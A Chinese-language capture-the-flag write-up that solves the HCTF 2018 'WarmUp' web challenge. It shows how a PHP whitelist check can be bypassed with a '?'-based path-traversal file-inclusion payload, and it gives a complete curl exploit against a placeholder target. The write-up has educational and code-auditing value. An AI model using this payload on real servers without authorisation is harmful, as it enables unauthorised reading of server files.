HCTF 2018 - Web - WarmUp

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
HCTF 2018 - Web - WarmUp
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | HCTF 2018 |
| 方向 | Web |
| 难度 | Easy |
| 环境 | 授权靶场(已脱敏) |
| 漏洞类型 | PHP 文件包含(LFI)+ 白名单绕过 |
信息收集
访问首页,源码中有注释 <!--source.php-->,提示存在源码文件:
1 | <body> |
访问 source.php 得到完整 PHP 源码,访问 hint.php 返回 flag not here, and flag in ffffllllaaaagggg,得知 flag 文件名。
1 | GET /hint.php |
漏洞分析
source.php 核心逻辑:
1 | class emmm { |
关键点:checkFile 检查通过后,用原始 $_REQUEST['file'] 进行 include,而检查时只验证 ? 前(或 urldecode 后 ? 前)的部分。校验与执行对象不一致,是绕过根源。
利用过程
利用 ? 作为查询字符串分隔符的特性构造 payload:
checkFile用mb_strpos($page.'?', '?')截取?之前的部分(hint.php),在白名单内 → 通过检查。include时执行完整字符串,?后的/../../../../ffffllllaaaagggg被当作路径穿越。
最终 payload:
1 | file=hint.php?/../../../../ffffllllaaaagggg |
完整请求:
1 | GET /index.php?file=hint.php?/../../../../ffffllllaaaagggg |
返回 flag(已脱敏)。
完整 EXP
1 | curl "http://target:8080/index.php?file=hint.php?/../../../../ffffllllaaaagggg" |
Flag
flag{xxxx}(已脱敏,来自 ffffllllaaaagggg)
踩坑与总结
- 白名单只校验
?之前的部分,?之后的内容不受检查。 include使用原始参数,?后面的../../../../实现目录穿越。- 穿越到 web 根目录上级的
/ffffllllaaaagggg文件读取 flag。 - 校验函数与执行函数处理的对象不一致(截断前缀 vs 原始字符串),是此类 LFI 的通用审计点。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果








